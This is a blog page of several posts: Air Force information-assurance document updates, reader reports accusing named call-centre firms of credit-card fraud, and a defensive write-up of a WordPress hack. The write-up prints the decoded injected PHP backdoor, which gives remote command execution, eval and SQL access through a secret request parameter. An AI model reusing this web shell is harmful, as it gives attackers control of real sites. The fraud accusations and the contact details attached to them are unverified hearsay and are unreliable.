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UPDATED IA STUFF + Procrastination

My greatest skill is procrastination. I really am the best, most skilled procrastinator I know. It takes all of my will power to stay consistent with anything, including this blog, which is why (among other things) I am not banking like Darren Rowse or Steve Pav, two of my favorite bloggers.

YOU SEE, I am such a good procrastinator that JUST procrastinated on getting to the REAL subject of this article, security, IA updates.

A fellow IA Analyst wrote me with questions that got right to the heart of IA, change.

She asked about AFI 33-202.
And I said:

Right as I felt I had mastered the contents of 33-202, the airforce moved to 33-210 (to replace all its C&A stuff). I believe 33-202 is now obsolete and replaced with 33-200 & 33-202 and others.. last time I was with the AF, anyway.

What about IT LEAN?
I said:

As for IT Lean, you can find that on AF Knowledge Now site and I think they have links to it on EITDR. If you are interested in IT Lean you’ll be REALLY interested in 33-210:
33-210

But if you are working with the Air Force and want more on the IT LEAN process you should be digging into AFCAP, Air Force Certification & Accreditation Program, an AF version of IT Lean.

CNSS 1253:
A lot of people also ask me to send them a copy of the CNSSI 12-53. But it is actually OUT. Its the CNSSI 1253. I, personally, have not had any clear direction (currently NO direction) on how to start moving some of the CNSSI to the systems I work on. I suspect that the Govt. will start this within the next couple of years and start phasing out DIACAP.. but who the hell knows what a bureaucracy of their size will do next!

Lastly, my fellow IA Analyst asked me about EITDR
and I said:

You’ll find the EITDR POCs on the Air Force Portal or Knowledge Now. Log on to the Air Force Portal (if you don’t have an account get one.. you may have to get sponsor by the Govt to get it). Once on the AF Portal search for EITDR and they’ll have tons of stuff on it. Waaaaay more stuff than you want to read. You’ll also find the person you need to start the EITDR process with.

Popularity: 1% [?]

EZ1 Rate report from a reader

Hi,
I want to apologize everyone. I am one of the employee working with EZ1 Rate. It is a Scam. Preveiouly it was Value Benefits of America and then its name got changed as Caller Advantage then Super Savings and now it is EZ1 Rate.

This company is situated in India. We r asked to take the Credit Card numbers of customers saying tht it is just an identification number but it is a very important numbers of cards.

after taking the numbers the card is charged of any amount and then after every month the card is getting charged. if u read this then pls sumone launch a complaint against this company. many r the ladies and old people who give us the credit card numbers so easily.

i m giving the name of the company who is running it is Silgate Solution. it is india one branch is in Delhi in gurgaon another 2 branches r in Mahaashtra in mumbai. if u want the complete address then check out for the silgate call center in yahoo else visit www.silgate.cc

Jack
New York, New York
U.S.A.

i found this today i had some call me to asking the same thing that you have writen in these bolgs but i am a cop so i know this was a joke so while i was on the phone i googel what he told me. there was no info of a build and a company name.dont ever gave you info ever over the phone. i called a # for reporting a a scam the are the fedrual some of such there # is 877-382-4357 call them and tell them what happen so the can find these crimanal.

Popularity: 4% [?]

AMERICAN ADVANTAGE Benefits address phone number

If you didn’t know, AMERICAN ADVANTAGE Benefits is a false organization doing international fraud with organizations like EZ 1 rate. They commit financial fraud and sell the personal information of unsuspecting victims.
One of my readers gave me the inside scoop on American Advantage Benefit’s real address:

630 Albert st. Oshawa Ontario,

Canada 4H4T5

AMERICAN ADVANTAGE Benefits phone number: 323-230-9576

Canada, just as I suspected.

Popularity: 8% [?]

Server at Magic Requires Username Password

The Wordpress “Magic” hack!

If your getting this message: “The server (our server domain, e.g. DOMAIN.COM) at Magic” Then you likely have infected code in your wordpress blog.

Wordpress Magic Attack

Wordpress user Yokima reported this very slick hack.

FIX ACTION:
And the fix is to update your blog. This will fix the issue. Make sure you change your password if you actually put your information in that “serve at Magic” message box. Although updating the the wordpress blog definitely fixes the issue, you may have to reload your pluggins too because they may also have some infect code. Doing further research on this matter.

From RocketWood:
We noticed that the code injected into the files was run through an eval and a decode so we decoded the string and found this php code:

{


if (!function_exists('______safeshell'))
{
function ______safeshell($komut) {
@ini_restore("safe_mode");
@ini_restore("open_basedir");
$disable_functions = array_map('trim', explode(',', ini_get('disable_functions')));
if (!empty ($komut)) {
if (function_exists('passthru') && !in_array('passthru', $disable_functions)) {
//@ ob_start();
@ passthru($komut);
//$res = @ ob_get_contents();
//@ ob_end_clean();
}
elseif (function_exists('system') && !in_array('system', $disable_functions)) {
//@ ob_start();
@ system($komut);
//$res = @ ob_get_contents();
//@ ob_end_clean();
}
elseif (function_exists('shell_exec') && !in_array('shell_exec', $disable_functions)) {
$res = @ shell_exec($komut);
echo $res;
}
elseif (function_exists('exec') && !in_array('exec', $disable_functions)) {
@ exec($komut, $res);
$res = join("\n", $res);
echo $res, "\n";
}
elseif (@ is_resource($f = @ popen($komut, "r"))) {
//$res = "";
while (!@ feof($f)) {
//$res .= @ fread($f, 1024);
echo(@ fread($f, 1024));
}
@ pclose($f);
}
else
{
$res = {$komut};
echo $res;
}
}
}
};
if (isset ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'])) {
echo "
\n";
if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'eval') {
eval(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);
}
else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'exec') {
______safeshell(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd']);
}
else if ($_REQUEST['php_bdb7e9f039f4c7d9100073e131610a87'] == 'query') {
$result = mysql_query(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST['cmd']) : $_REQUEST['cmd'], $wpdb->dbh);
if (!$result)
{
echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_FAILED: ", mysql_error($wpdb->dbh), "\n";
die();
}
else if (is_resource($result))
{
$res = array();
while ($row = mysql_fetch_assoc($result))
{
$res[] = $row;
};
mysql_free_result($result);
echo serialize($res);
die();
}
else
{
echo "php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_SUCCEEDED: ", mysql_affected_rows($wbdb->dbh), " rows affected\n";
die();
}
};
echo "\n\n";
die();
};